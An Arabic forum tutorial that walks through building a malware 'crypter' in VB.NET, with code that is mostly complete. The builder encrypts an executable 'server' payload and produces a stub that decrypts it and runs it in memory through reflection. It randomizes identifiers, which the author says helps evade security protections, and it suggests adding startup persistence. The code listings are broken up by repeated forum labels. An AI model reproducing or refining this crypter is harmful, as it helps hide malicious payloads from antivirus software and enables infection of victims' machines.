كتابه برنامج تشفير خاص بك بخورزمية جديده (اعتمد على نفسك ) بالشرح المفصل

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل

كتابه برنامج تشفير خاص بك بخورزمية جديده (اعتمد على نفسك ) بالشرح المفصل

مُساهمة من طرف Admin في السبت سبتمبر 05, 2015 11:26 am








ألسلام عليكم ورحمة الله وبركاته




كيف حالك احبتي _ ماذا تفعلون .




ونمضي قدما للطرح المواضيع التي تخص التشفير وكشف المستور .. لماذا تنتظر احدهم ليعطيك برنامج تشفير جاهز ؟؟ لماذا تتسائل كيف له بكتابه هذا البرنامج ؟؟ مين اتى بهذى الكود ..


حاولت ولم تنجح معي ؟... سنجاوب على جميع الاسأله في سلسله صنع برامج التشفير ..


تعتمد برامج التشفير على نوعان النوع الاول وهو برنامج يقوم بتشفير عن طريق setup في الرسورس




الطريقه الثانيه وهي محور شرحنا لهذا الليوم وهي طريقه التشفير المرئي بالعتماد على اخذ ناتج التشفير من exe وتحويله الى نص جاهز ما عليك سوى عمل بلدر للسيرفر ....








الطريقه ليست بالصعبه هي اسهل مما تتصور بكثير .. لماذا لآنني سأرفق لكم خورزميات تشفر


وتقوم بالتطبيق عليها الخورزميه المستخدمه في الشرح هي من كتابتي الخاصه هي خورزميه بسيطه جدا تحتوي على فنكشن من نوع سترينج ومفتاح تشفير بأسلوب ascii و chr








نبداء بالتطبيق العملي على ما ذكر في فيديو ولن اطرح السورس جاهز حتى اجبر الاغلبيه على كتابه السورس بأنفسهم واعدم الحاجه الى البرامج وتستطيع اضافه اكواد كثيره على البرنامج وذالك بستخدام نفس الطريقه ك sleep و اضافه السيرفر على ستارت اب




هو ليس بلآمر الصعب اتمنى من الجميع اعطاء نتائج جيده


وتستطيع استخدام اي خورزميه بنفس الطريقه دمتم بخير وعلى هذا نمشي على نهج




لا تطعمني السمكه بل علمني كيف اسطادها ...














نقوم بالبدايه بفتح مشروع جديد يحتوي على فورم و زر عدد 2 و 3 textbox بلآضافه على


chekbox 2






كما هو موضح




نقوم بالشغط على الزر الاول ووضع كود جلب مسار الملف المراد تشفيره وعرض المسار في textbox1



الكود:
Dim

الكود:
hazem
الكود:
As

الكود:
New

الكود:
OpenFileDialog
       
الكود:
With

الكود:
hazem
           
الكود:
.Filter =
الكود:
"|*.exe"
           
الكود:
.ShowDialog()
       
الكود:
End

الكود:
With
       
الكود:
FlatTextBox1.Text = hazem.FileName


نقوم بستدعا ء الفضاء





كود Visual Basic
?
1
2
الكود:
Imports

الكود:
System.IO
الكود:
Imports

الكود:
System.Text












نقوم بوضع هذا الكود في ملف txt ومن ثم وضعه بالرسورس بأي اسم حتى نستدعيه ونقوم بالتعديل عليه بستبدال المتغيرات وقيم السيرفر المشفر بالخورزميه بالمكان الصحيح للكود وفيه خورزميه فك التشفير التي اعتمدنا عليها وبغض النظر عن هذه الخورزميه تستطيع استخدام اي خورزميه تشفير وناتج الخورزميه في الشرح كلين ..












كود Visual Basic
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
الكود:
Module

الكود:
%10%
    
الكود:
Sub

الكود:
main()
 
        
الكود:
Dim

الكود:
%11%
الكود:
As

الكود:
String

الكود:
=
الكود:
"%1%"
 
 
 
        
الكود:
Dim

الكود:
%4%
الكود:
As

الكود:
Byte
الكود:
() = Convert.FromBase64String(%3%(%11% ,
الكود:
"%2%"
الكود:
))
 
 
 
 
        
الكود:
Dim

الكود:
%5%
الكود:
As

الكود:
System.Reflection.
الكود:
Assembly

الكود:
= System.Reflection.
الكود:
Assembly
الكود:
.Load(%4%)
        
الكود:
%5%.EntryPoint.Invoke(
الكود:
Nothing
الكود:
,
الكود:
Nothing
الكود:
)
 
 
    
الكود:
End

الكود:
Sub
    
الكود:
Public

الكود:
Function

الكود:
%3%(%6%
الكود:
As

الكود:
String
الكود:
,
الكود:
ByVal

الكود:
%7%
الكود:
As

الكود:
String
الكود:
)
الكود:
As

الكود:
String
    
 
        
الكود:
On

الكود:
Error

الكود:
Resume

الكود:
Next
 
        
الكود:
Dim

الكود:
i, %8%, %9%
الكود:
As

الكود:
Integer
        
الكود:
For

الكود:
i = 1
الكود:
To

الكود:
Len(%7%)
            
الكود:
%8% = %8% + Asc(Mid(%7%, i, i-1))
        
الكود:
Next

الكود:
i
        
الكود:
For

الكود:
i = 1
الكود:
To

الكود:
Len(%6%)
            
الكود:
%9% = Asc(Mid(%6%, i, i-1)) - %8%
الكود:
Mod

الكود:
255
            
الكود:
%3% = %3% & Chr(%9%)
        
الكود:
Next

الكود:
i
    
الكود:
End

الكود:
Function
الكود:
End

الكود:
Module








نقوم الان بتضغط على زر 2 وهو الزر الخاص بالتشفير ووضع هذا الكود عليه وهو عباره عن



تحويل تحويل ملف الموجود بالمسار txtbox1 الى قيم Base64String ومن ثم استخدام خورزميه التشفير بتحويل قيم ال Base64String الى احرف مشفره بمفتاح الذي تضعه في textbox3 وهي عباره عن ارقام لا تتجاوز 97 رقم على قاعده acsii طبعا لكل خورزميه طريقه بالأستخدام ومن ثم نقوم بستبدال المتغيرات في تكست رسورس بألقيم المشفره



وعرض الناتج في RichTextBox لماذا اخترنا RichTextBox ببساطه لآن RichTextBox يحمل عدد احرف 2147483647 حتى اذا كان السيرفر كبير يستطيع عرض كل القيم علما أن textbox لا يعرض اكثر من 32767 وهذا امور يقع بها البعض في التشفير ولتجاوز الخطاء نستخدمRichTextBox لعرض القيم المشفره ...







بعد ذالك نستخدم كود توليد الاحرف العشواءيه للمتغيرات الفنكسن والسب وذالك يساعد على تمويه بعض الحمايات والقضاء عليها








كود Visual Basic
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
الكود:
If

الكود:
FlatCheckBox2.Checked
الكود:
Then
 
            
الكود:
Dim

الكود:
sam
الكود:
As

الكود:
String

الكود:
= Convert.ToBase64String(IO.File.ReadAllBytes(FlatTextBox1.Text))
 
            
الكود:
Dim

الكود:
sam1
الكود:
As

الكود:
String

الكود:
= haz(sam, FlatTextBox2.Text)
 
 
            
الكود:
Dim

الكود:
sam3
الكود:
As

الكود:
String

الكود:
= My.Resources.hazem
            
الكود:
Dim

الكود:
sam4
الكود:
As

الكود:
String
 
            
الكود:
sam4 = sam3.Replace(
الكود:
"%1%"
الكود:
, sam1).Replace(
الكود:
"%2%"
الكود:
, FlatTextBox2.Text).Replace(
الكود:
"%3%"
الكود:
, cc(4)).Replace(
الكود:
"%5%"
الكود:
, cc(8)).Replace(
الكود:
"%6%"
الكود:
, cc(10)).Replace(
الكود:
"%7%"
الكود:
, cc(12)).Replace(
الكود:
"%8%"
الكود:
, cc(14)).Replace(
الكود:
"%9%"
الكود:
, cc(16)).Replace(
الكود:
"%10%"
الكود:
, cc(18)).Replace(
الكود:
"%4%"
الكود:
, cc(20)).Replace(
الكود:
"%11%"
الكود:
, cc(22))
 
 
            
الكود:
r1.Text = sam4
 
 
        
الكود:
End

الكود:
If
 
        
الكود:
If

الكود:
FlatCheckBox1.Checked
الكود:
Then
 
            
الكود:
If

الكود:
FlatCheckBox1.Checked
الكود:
Then
 
                
الكود:
Dim

الكود:
sam
الكود:
As

الكود:
String

الكود:
= Convert.ToBase64String(IO.File.ReadAllBytes(FlatTextBox1.Text))
 
                
الكود:
Dim

الكود:
sam1
الكود:
As

الكود:
String

الكود:
= haz(sam, FlatTextBox2.Text)
 
 
                
الكود:
Dim

الكود:
sam3
الكود:
As

الكود:
String

الكود:
= My.Resources.hazem
                
الكود:
Dim

الكود:
sam4
الكود:
As

الكود:
String
 
                
الكود:
sam4 = sam3.Replace(
الكود:
"%1%"
الكود:
, sam1).Replace(
الكود:
"%2%"
الكود:
, FlatTextBox2.Text).Replace(
الكود:
"%3%"
الكود:
, dd(4)).Replace(
الكود:
"%5%"
الكود:
, dd(8)).Replace(
الكود:
"%6%"
الكود:
, dd(10)).Replace(
الكود:
"%7%"
الكود:
, dd(12)).Replace(
الكود:
"%8%"
الكود:
, dd(14)).Replace(
الكود:
"%9%"
الكود:
, dd(16)).Replace(
الكود:
"%10%"
الكود:
, dd(18)).Replace(
الكود:
"%4%"
الكود:
, dd(20)).Replace(
الكود:
"%11%"
الكود:
, dd(22))
 
 
                
الكود:
r1.Text = sam4
 
 
            
الكود:
End

الكود:
If
 
 
 
        
الكود:
End

الكود:
If
 
 
 
    
الكود:
End

الكود:
Sub












ملاحظه قما بوضع كود التشفير ب If CheckBox1.Checked Then حتى نقوم بفصل قيم المتغيرات المشفره ب كود توليد من احرف مختلفه وهذه مفيده











كود التوليد معروف للجميع








كود Visual Basic
?
1
2
3
4
5
6
7
8
9
10
11
الكود:
Public

الكود:
Function

الكود:
cc(
الكود:
ByVal

الكود:
len
الكود:
As

الكود:
Long
الكود:
)
    
الكود:
Dim

الكود:
rnd
الكود:
As

الكود:
New

الكود:
Random
    
الكود:
Dim

الكود:
arb
الكود:
As

الكود:
String

الكود:
=
الكود:
"dGkjBoOiIuUhHgGyYrRnMkLlKUeEwWqQvVcCnNxXzZmM"
    
الكود:
Dim

الكود:
result
الكود:
As

الكود:
String

الكود:
=
الكود:
Nothing
    
الكود:
For

الكود:
i = 0
الكود:
To

الكود:
len
        
الكود:
result = result & arb(rnd.
الكود:
Next
الكود:
(arb.Length))
 
    
الكود:
Next
    
الكود:
Return

الكود:
result
 
الكود:
End

الكود:
Function












كود خورزميه التشفير داخل المشورع وفك التشفيير تكون في التكست رسورس لآننا سوف تقوم بفك التشفير عند تشغيل السيرفر في الذاكره ولا يجوز استخدامها في مشروع السيرفر
















كود Visual Basic
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
الكود:
Public

الكود:
Function

الكود:
haz(data
الكود:
As

الكود:
String
الكود:
,
الكود:
ByVal

الكود:
kye
الكود:
As

الكود:
String
الكود:
)
الكود:
As

الكود:
String
 
      
الكود:
On

الكود:
Error

الكود:
Resume

الكود:
Next
 
      
الكود:
Dim

الكود:
i, ikey, idata
الكود:
As

الكود:
Integer
 
 
      
الكود:
For

الكود:
i = 1
الكود:
To

الكود:
Len(kye)
 
          
الكود:
ikey = ikey + Asc(Mid(kye, i, i + 1))
 
 
      
الكود:
Next

الكود:
i
 
      
الكود:
For

الكود:
i = 1
الكود:
To

الكود:
Len(data)
 
          
الكود:
idata = Asc(Mid(data, i, i + 1)) + ikey
الكود:
Mod

الكود:
255
          
الكود:
haz = haz & Chr(idata)
 
 
 
      
الكود:
Next

الكود:
i
 
 
 
 
  
الكود:
End

الكود:
Function












وبعد اكتماب البرنامج سوف يظهر على النحور التالي
كود Visual Basic
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
الكود:
Imports

الكود:
System.IO
الكود:
Imports

الكود:
System.Text
 
الكود:
Public

الكود:
Class

الكود:
Form1
 
 
 
    
الكود:
Private

الكود:
Sub

الكود:
FlatButton1_Click(sender
الكود:
As

الكود:
Object
الكود:
, e
الكود:
As

الكود:
EventArgs)
الكود:
Handles

الكود:
FlatButton1.Click
 
 
        
الكود:
If

الكود:
FlatCheckBox2.Checked
الكود:
Then
 
            
الكود:
Dim

الكود:
sam
الكود:
As

الكود:
String

الكود:
= Convert.ToBase64String(IO.File.ReadAllBytes(FlatTextBox1.Text))
 
            
الكود:
Dim

الكود:
sam1
الكود:
As

الكود:
String

الكود:
= haz(sam, FlatTextBox2.Text)
 
 
            
الكود:
Dim

الكود:
sam3
الكود:
As

الكود:
String

الكود:
= My.Resources.hazem
            
الكود:
Dim

الكود:
sam4
الكود:
As

الكود:
String
 
            
الكود:
sam4 = sam3.Replace(
الكود:
"%1%"
الكود:
, sam1).Replace(
الكود:
"%2%"
الكود:
, FlatTextBox2.Text).Replace(
الكود:
"%3%"
الكود:
, cc(4)).Replace(
الكود:
"%5%"
الكود:
, cc(8)).Replace(
الكود:
"%6%"
الكود:
, cc(10)).Replace(
الكود:
"%7%"
الكود:
, cc(12)).Replace(
الكود:
"%8%"
الكود:
, cc(14)).Replace(
الكود:
"%9%"
الكود:
, cc(16)).Replace(
الكود:
"%10%"
الكود:
, cc(18)).Replace(
الكود:
"%4%"
الكود:
, cc(20)).Replace(
الكود:
"%11%"
الكود:
, cc(22))
 
 
            
الكود:
r1.Text = sam4
 
 
        
الكود:
End

الكود:
If
 
        
الكود:
If

الكود:
FlatCheckBox1.Checked
الكود:
Then
 
            
الكود:
If

الكود:
FlatCheckBox1.Checked
الكود:
Then
 
                
الكود:
Dim

الكود:
sam
الكود:
As

الكود:
String

الكود:
= Convert.ToBase64String(IO.File.ReadAllBytes(FlatTextBox1.Text))
 
                
الكود:
Dim

الكود:
sam1
الكود:
As

الكود:
String

الكود:
= haz(sam, FlatTextBox2.Text)
 
 
                
الكود:
Dim

الكود:
sam3
الكود:
As

الكود:
String

الكود:
= My.Resources.hazem
                
الكود:
Dim

الكود:
sam4
الكود:
As

الكود:
String
 
                
الكود:
sam4 = sam3.Replace(
الكود:
"%1%"
الكود:
, sam1).Replace(
الكود:
"%2%"
الكود:
, FlatTextBox2.Text).Replace(
الكود:
"%3%"
الكود:
, dd(4)).Replace(
الكود:
"%5%"
الكود:
, dd(8)).Replace(
الكود:
"%6%"
الكود:
, dd(10)).Replace(
الكود:
"%7%"
الكود:
, dd(12)).Replace(
الكود:
"%8%"
الكود:
, dd(14)).Replace(
الكود:
"%9%"
الكود:
, dd(16)).Replace(
الكود:
"%10%"
الكود:
, dd(18)).Replace(
الكود:
"%4%"
الكود:
, dd(20)).Replace(
الكود:
"%11%"
الكود:
, dd(22))
 
 
                
الكود:
r1.Text = sam4
 
 
            
الكود:
End

الكود:
If
 
 
 
        
الكود:
End

الكود:
If
 
 
 
    
الكود:
End

الكود:
Sub
 
    
الكود:
Public

الكود:
Function

الكود:
cc(
الكود:
ByVal

الكود:
len
الكود:
As

الكود:
Long
الكود:
)
        
الكود:
Dim

الكود:
rnd
الكود:
As

الكود:
New

الكود:
Random
        
الكود:
Dim

الكود:
arb
الكود:
As

الكود:
String

الكود:
=
الكود:
"dGkjBoOiIuUhHgGyYrRnMkLlKUeEwWqQvVcCnNxXzZmM"
        
الكود:
Dim

الكود:
result
الكود:
As

الكود:
String

الكود:
=
الكود:
Nothing
        
الكود:
For

الكود:
i = 0
الكود:
To

الكود:
len
            
الكود:
result = result & arb(rnd.
الكود:
Next
الكود:
(arb.Length))
 
        
الكود:
Next
        
الكود:
Return

الكود:
result
 
    
الكود:
End

الكود:
Function
    
الكود:
Public

الكود:
Function

الكود:
dd(
الكود:
ByVal

الكود:
len
الكود:
As

الكود:
Long
الكود:
)
        
الكود:
Dim

الكود:
rnd
الكود:
As

الكود:
New

الكود:
Random
        
الكود:
Dim

الكود:
arb
الكود:
As

الكود:
String

الكود:
=
الكود:
"好裡的你弟的去我去你愛好嗎你兄孩去我兄的去弟好哪孩弟的親親哪我裡的哪去好好我去好的的的弟男你哪裡孩兄裡你的好哪好哪去哪弟你好的兄男你嗎的男男男你弟男你男好好孩愛愛你孩愛兄你的孩弟裡的"
        
الكود:
Dim

الكود:
result
الكود:
As

الكود:
String

الكود:
=
الكود:
Nothing
        
الكود:
For

الكود:
i = 0
الكود:
To

الكود:
len
            
الكود:
result = result & arb(rnd.
الكود:
Next
الكود:
(arb.Length))
 
        
الكود:
Next
        
الكود:
Return

الكود:
result
 
    
الكود:
End

الكود:
Function
 
    
الكود:
Public

الكود:
Function

الكود:
haz(data
الكود:
As

الكود:
String
الكود:
,
الكود:
ByVal

الكود:
kye
الكود:
As

الكود:
String
الكود:
)
الكود:
As

الكود:
String
 
        
الكود:
On

الكود:
Error

الكود:
Resume

الكود:
Next
 
        
الكود:
Dim

الكود:
i, ikey, idata
الكود:
As

الكود:
Integer
 
 
        
الكود:
For

الكود:
i = 1
الكود:
To

الكود:
Len(kye)
 
            
الكود:
ikey = ikey + Asc(Mid(kye, i, i + 1))
 
 
        
الكود:
Next

الكود:
i
 
        
الكود:
For

الكود:
i = 1
الكود:
To

الكود:
Len(data)
 
            
الكود:
idata = Asc(Mid(data, i, i + 1)) + ikey
الكود:
Mod

الكود:
255
            
الكود:
haz = haz & Chr(idata)
 
 
 
        
الكود:
Next

الكود:
i
 
 
 
 
    
الكود:
End

الكود:
Function
 
 
    
الكود:
Private

الكود:
Sub

الكود:
FlatClose1_Click(sender
الكود:
As

الكود:
Object
الكود:
, e
الكود:
As

الكود:
EventArgs)
الكود:
Handles

الكود:
FlatClose1.Click
        
الكود:
Me
الكود:
.Close()
 
    
الكود:
End

الكود:
Sub
 
 
    
الكود:
Private

الكود:
Sub

الكود:
FlatButton2_Click(sender
الكود:
As

الكود:
Object
الكود:
, e
الكود:
As

الكود:
EventArgs)
الكود:
Handles

الكود:
FlatButton2.Click
        
الكود:
Dim

الكود:
hazem
الكود:
As

الكود:
New

الكود:
OpenFileDialog
        
الكود:
With

الكود:
hazem
            
الكود:
.Filter =
الكود:
"|*.exe"
            
الكود:
.ShowDialog()
        
الكود:
End

الكود:
With
        
الكود:
FlatTextBox1.Text = hazem.FileName
    
الكود:
End

الكود:
Sub
 
    
الكود:
Private

الكود:
Sub

الكود:
FlatLabel1_Click(sender
الكود:
As

الكود:
Object
الكود:
, e
الكود:
As

الكود:
EventArgs)
الكود:
Handles

الكود:
FlatLabel1.Click
 
    
الكود:
End

الكود:
Sub
 
    
الكود:
Private

الكود:
Sub

الكود:
FormSkin1_Click(sender
الكود:
As

الكود:
Object
الكود:
, e
الكود:
As

الكود:
EventArgs)
الكود:
Handles

الكود:
FormSkin1.Click
 
    
الكود:
End

الكود:
Sub
 
    
الكود:
Private

الكود:
Sub

الكود:
FlatButton3_Click(sender
الكود:
As

الكود:
Object
الكود:
, e
الكود:
As

الكود:
EventArgs)
الكود:
Handles

الكود:
FlatButton3.Click
        
الكود:
r1.SelectAll()
        
الكود:
r1.Copy()
        
الكود:
FlatLabel2.Text =
الكود:
"Copies have been successfully"
    
الكود:
End

الكود:
Sub
 
    
الكود:
Private

الكود:
Sub

الكود:
FlatButton1_Click_1(sender
الكود:
As

الكود:
Object
الكود:
, e
الكود:
As

الكود:
EventArgs)
الكود:
Handles

الكود:
FlatButton1.Click
 
    
الكود:
End

الكود:
Sub
 
    
الكود:
Private

الكود:
Sub

الكود:
FlatButton1_Click_2(sender
الكود:
As

الكود:
Object
الكود:
, e
الكود:
As

الكود:
EventArgs)
الكود:
Handles

الكود:
FlatButton1.Click
 
    
الكود:
End

الكود:
Sub
 
    
الكود:
Private

الكود:
Sub

الكود:
FlatButton2_Click_1(sender
الكود:
As

الكود:
Object
الكود:
, e
الكود:
As

الكود:
EventArgs)
الكود:
Handles

الكود:
FlatButton2.Click
 
    
الكود:
End

الكود:
Sub
الكود:
End

الكود:
Class








صوره من البرنامج




تم تصغير حجم الصورة تلقائياً لسهولة التصفّح , اضغط هنا لمشاهدتها بالحجم الطبيعي 1220x693.












المشروع لمن يريد البرنامج جاهز والتعرف على الكود كامل مع الثيم







[url=http://http://up.top4top.net/downloadf-top4top_a0f47b12291-rar.html]رابط تحميل السورس [/url]



















دمتم بخير والسلام عليكم ورحمه الله الموضوع اهداء الى جميع من شارك في الموضوع اتقبل اي نقد بناء سلام


avatar
Admin
Admin

المساهمات : 17
تاريخ التسجيل : 30/08/2015

معاينة صفحة البيانات الشخصي للعضو http://romo1net.yoo7.com

الرجوع الى أعلى الصفحة اذهب الى الأسفل

استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة


 
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى